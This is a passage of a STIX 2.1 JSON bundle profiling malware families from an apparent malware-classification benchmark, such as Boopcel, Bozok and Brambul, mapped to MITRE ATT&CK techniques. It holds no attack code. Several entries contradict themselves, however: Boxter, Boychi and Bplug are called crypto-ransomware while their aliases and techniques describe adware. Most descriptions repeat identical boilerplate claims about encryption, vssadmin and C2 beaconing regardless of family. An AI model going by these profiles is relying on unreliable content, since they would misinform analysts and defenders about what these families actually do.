          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bonkyhp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc1b6cd3-a672-52d9-9c93-1638aa3ca196",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc1873b1-74c5-58e7-827e-4473282f7e10",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bonkyhp exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86b3de96-8a29-52b4-b707-0f4522088eb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc1873b1-74c5-58e7-827e-4473282f7e10",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bonkyhp exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1a5d98b-87f3-5efb-b5f7-ca7256b660b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc1873b1-74c5-58e7-827e-4473282f7e10",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bonkyhp exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3577b7be-dfb3-59d6-a993-2d6aeab2dcd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Boopcel",
      "description": "Boopcel (classified in antivirus detection telemetry under designations including Ransom:Win32/Boopcel, Ransom.Win32.Boopcel, and Win32/Boopcel) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Boopcel executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Boopcel",
        "Ransom.Win32.Boopcel",
        "Win32/Boopcel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Boopcel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/boopcel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22fe4feb-3dfa-5099-8ef8-2a35e6eafe34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3577b7be-dfb3-59d6-a993-2d6aeab2dcd2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boopcel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb9458be-c72d-5b1e-aa6d-1aed1f963e52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3577b7be-dfb3-59d6-a993-2d6aeab2dcd2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boopcel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9db14594-8c4b-539b-825a-61c27b3e42ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3577b7be-dfb3-59d6-a993-2d6aeab2dcd2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boopcel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce787895-2fe6-53d0-ab17-19919193e7df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3577b7be-dfb3-59d6-a993-2d6aeab2dcd2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boopcel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d637e78-63d7-5e9c-92ba-81581e561ef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3577b7be-dfb3-59d6-a993-2d6aeab2dcd2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boopcel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2303af0c-7f2c-5fca-a457-6b0c445cea44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bototer",
      "description": "Bototer (classified in antivirus detection telemetry under designations including Trojan:Win32/Bototer, Trojan.Win32.Bototer, and Win32/Bototer) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bototer executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bototer",
        "Botnet.Bototer",
        "Win32/Bototer",
        "Trojan:Win32/Bototer",
        "Trojan.Win32.Bototer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bototer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bototer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97389c73-9cbd-5964-8b2c-19ac7e171d9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2303af0c-7f2c-5fca-a457-6b0c445cea44",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bototer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9961d636-032c-52ed-a2dd-fefb44b76041",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2303af0c-7f2c-5fca-a457-6b0c445cea44",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bototer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99baf1b0-d327-5ec7-aaa1-c038b7d79904",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2303af0c-7f2c-5fca-a457-6b0c445cea44",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bototer exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5613fefd-0bad-547b-806a-2f26291fb741",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2303af0c-7f2c-5fca-a457-6b0c445cea44",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bototer exhibits technique T1090 (Proxy)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bbd005c6-5a78-5ec2-a855-3ef35d10346d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Boxter",
      "description": "Boxter (classified in antivirus detection telemetry under designations including Ransom:Win32/Boxter, Ransom.Win32.Boxter, and Win32/Boxter) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Boxter executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Boxter",
        "PUP.Boxter",
        "Win32/Adware.Boxter",
        "Ransom:Win32/Boxter",
        "Ransom.Win32.Boxter",
        "Win32/Boxter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Boxter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/boxter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39157a3b-5b91-5d2e-be63-167d18fdde38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbd005c6-5a78-5ec2-a855-3ef35d10346d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boxter exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e9ac3ec-d84b-5787-b32c-e04f85845ed6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbd005c6-5a78-5ec2-a855-3ef35d10346d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boxter exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14ee158d-30d8-5a68-8910-f671b41029f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbd005c6-5a78-5ec2-a855-3ef35d10346d",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boxter exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad73d8d6-c8e8-51f1-932f-5271bd3a4421",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Boychi",
      "description": "Boychi (classified in antivirus detection telemetry under designations including Ransom:Win32/Boychi, Ransom.Win32.Boychi, and Win32/Boychi) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Boychi executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Boychi",
        "PUP.Boychi",
        "BrowserHijacker.Boychi",
        "Ransom:Win32/Boychi",
        "Ransom.Win32.Boychi",
        "Win32/Boychi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Boychi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/boychi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53468f82-29f0-521f-af9a-2926adb44292",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad73d8d6-c8e8-51f1-932f-5271bd3a4421",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boychi exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a8c07d9-972b-59b0-917d-a8d17687f620",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad73d8d6-c8e8-51f1-932f-5271bd3a4421",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boychi exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a7cca5e-f2e8-5579-9459-c7159b209f9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad73d8d6-c8e8-51f1-932f-5271bd3a4421",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boychi exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6f24924a-2ec4-5b17-913a-da563ee600bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bozok",
      "description": "Bozok is a highly capable Remote Access Trojan (RAT) that first appeared on cybercriminal forums around 2015. Developed in Delphi, Bozok is designed with stealth and flexibility in mind, offering a small footprint and robust anti-analysis features. The malware provides operators with full control over infected machines, including file system access, remote desktop capabilities, registry modification, and a built-in keylogger. It is known to utilize advanced process injection techniques, often hollowing out legitimate processes to hide its malicious code in memory. Furthermore, Bozok employs custom obfuscation and encrypted communication channels to thwart network detection and reverse engineering efforts. It is frequently distributed via weaponized macros in Microsoft Office documents sent in targeted spear-phishing campaigns, making it a persistent threat to corporate networks.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Bozok RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bozok",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bozok"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49374834-dc28-5a62-b2b8-bf17a0ccc66e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f24924a-2ec4-5b17-913a-da563ee600bc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bozok exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfa88831-b17d-523e-98c0-f502c86a9b72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f24924a-2ec4-5b17-913a-da563ee600bc",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bozok exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75319324-e315-5e89-8f59-2537bb4d9e3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f24924a-2ec4-5b17-913a-da563ee600bc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bozok exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1140: Deobfuscate/Decode Files or Information",
      "description": "MITRE ATT&CK Technique T1140 (Deobfuscate/Decode Files or Information) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1140",
          "url": "https://attack.mitre.org/techniques/T1140/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f82aaa1a-02cc-535e-8bb5-204ef68189a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f24924a-2ec4-5b17-913a-da563ee600bc",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bozok exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--709edc0d-44d0-5e74-8b7c-0093b7eeb1fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f24924a-2ec4-5b17-913a-da563ee600bc",
      "target_ref": "attack-pattern--20e5386c-6e50-506e-97e9-42f037007043",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bozok exhibits technique T1566 (Phishing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d369a2ba-4e69-5b3c-9575-d948b910e67c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bplug",
      "description": "Bplug (classified in antivirus detection telemetry under designations including Ransom:Win32/Bplug, Ransom.Win32.Bplug, and Win32/Bplug) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bplug executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Bplug",
        "PUP.Bplug",
        "Win32/Adware.Plugin",
        "Ransom:Win32/Bplug",
        "Ransom.Win32.Bplug",
        "Win32/Bplug"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bplug",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bplug"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0474fff8-e1b2-5dc3-a11c-1cbde7616436",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d369a2ba-4e69-5b3c-9575-d948b910e67c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bplug exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7f95d68-012f-517b-9c6d-b5cf9bc53758",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d369a2ba-4e69-5b3c-9575-d948b910e67c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bplug exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68b5950e-fc67-5cec-a5f5-c02841ace67f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d369a2ba-4e69-5b3c-9575-d948b910e67c",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bplug exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ea4b468-7fed-5ecc-8528-312e2a992d5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Brambul",
      "description": "Worm:Win32/Brambul is an aggressive network-spreading worm developed by North Korean state-sponsored threat group HIDDEN COBRA (Lazarus Group / APT38). Discovered in 2009 and detailed in US-CERT Alert TA18-053A, Brambul is engineered to scan local subnets and random external internet IP addresses across TCP port 445, aggressively brute-forcing Server Message Block (SMB) credentials using hardcoded administrative password lists. Upon successful authentication, Brambul copies its payload to the target machine via administrative network shares (ADMIN$ or C$), registers Windows Run keys to achieve persistence, and uses embedded SMTP routines to exfiltrate detailed victim system configuration data back to threat actor email drop boxes. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Brambul",
        "Worm:Win32/Brambul",
        "Hidden Cobra Brambul",
        "W32/Brambul",
        "Trojan.Brambul",
        "Lazarus SMB Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Brambul",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/brambul"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "TA18-053A"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd111c97-0da5-5bcb-bba4-ab3969184bed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ea4b468-7fed-5ecc-8528-312e2a992d5c",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brambul exhibits technique T1110.001 (Password Guessing)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--913fd8f3-ac3d-5481-9dac-4c8ba68e34e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1570: Lateral Tool Transfer",
      "description": "MITRE ATT&CK Technique T1570 (Lateral Tool Transfer) under tactic lateral-movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1570",
          "url": "https://attack.mitre.org/techniques/T1570/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef600b42-27dc-509f-abec-6f3a2c1f696d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ea4b468-7fed-5ecc-8528-312e2a992d5c",
      "target_ref": "attack-pattern--913fd8f3-ac3d-5481-9dac-4c8ba68e34e9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brambul exhibits technique T1570 (Lateral Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee412a87-4b24-54b4-b6ed-6bc9a1430a7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ea4b468-7fed-5ecc-8528-312e2a992d5c",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brambul exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ab8c622-082b-5901-887c-b4fc66566e48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ea4b468-7fed-5ecc-8528-312e2a992d5c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brambul exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97299cfa-d8c2-5504-8e4e-b29d9c97ce6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
